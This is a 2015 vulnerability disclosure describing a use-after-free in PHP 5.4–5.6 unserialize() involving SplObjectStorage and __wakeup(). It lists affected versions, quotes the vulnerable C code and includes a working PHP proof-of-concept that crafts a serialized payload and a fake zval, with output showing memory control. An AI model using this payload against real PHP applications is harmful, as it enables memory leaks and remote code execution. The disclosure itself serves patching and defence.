PHP 5.4/5.5/5.6 – SplObjectStorage ‘Unserialize()’ Use-After-Free
Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage Taoguang Chen <[@chtg](http://github.com/chtg)> Write Date: 2015.8.27 Release Date: 2015.9.4 A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Affected is PHP 5.5 < 5.5.29 Affected is PHP 5.4 < 5.4.45 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ALLOC_INIT_ZVAL(pentry); if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&pentry); goto outexcept; } if(Z_TYPE_P(pentry) != IS_OBJECT) { goto outexcept; } ALLOC_INIT_ZVAL(pinf); if (*p == ',') { /* new version has inf */ ++p; if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&pinf); goto outexcept; } } It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12. <?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line: $ php uafpoc.php array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } [3]=> int(1122334455) <=== so we can control the memory and create fake ZVAL :) [4]=> string(24) "?v?B????" } |